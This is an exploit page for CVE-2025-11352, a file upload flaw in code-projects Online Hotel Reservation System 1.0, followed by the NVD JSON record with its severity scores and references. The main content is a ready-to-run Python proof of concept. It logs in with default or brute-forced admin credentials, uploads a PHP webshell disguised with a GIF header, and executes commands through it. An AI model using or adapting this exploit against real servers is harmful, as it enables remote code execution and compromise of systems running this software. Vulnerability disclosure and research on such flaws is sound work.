CVE-2025-11352

# CVE-2025-11352 PoC - Online Hotel Reservation System Unrestricted File Upload # Vulnerability: Unrestricted file upload in /admin/addexec.php via 'image' parameter # Affected: code-projects Online Hotel Reservation System 1.0 import requests TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/login.php" UPLOAD_URL = f"{TARGET_URL}/admin/addexec.php" USERNAME = "admin" PASSWORD = "admin" # Default or brute-forced credentials # Step 1: Login as admin to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: Prepare malicious PHP webshell disguised as image # The server fails to validate file type/extension, allowing .php upload webshell_content = b"GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;<?php echo system($_GET['cmd']); ?>" files = { "image": ("shell.php", webshell_content, "image/gif") } # Step 3: Upload the malicious file via the vulnerable endpoint data = { "name": "TestHotel", "city": "TestCity", "rate": "100", "description": "Test" } response = session.post(UPLOAD_URL, files=files, data=data) print(f"Upload response status: {response.status_code}") # Step 4: Access the uploaded webshell to execute commands # The shell.php will be uploaded to the images directory SHELL_URL = f"{TARGET_URL}/admin/images/shell.php?cmd=id" shell_response = requests.get(SHELL_URL) print(f"Command execution result: {shell_response.text}")

{"cve": {"id": "CVE-2025-11352", "sourceIdentifier": "[email protected]", "published": "2025-10-07T05:15:33.600", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in code-projects Online Hotel Reservation System 1.0. This affects an unknown function of the file /admin/addexec.php. Such manipulation of the argument image leads to unrestricted upload. The attack can be executed remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:online_hotel_reservation_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "A239DB3D-0C8F-46E2-BF53-5EE5BA3DBC9D"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/zhicat/C/issues/29", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.327237", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327237", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.664917", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}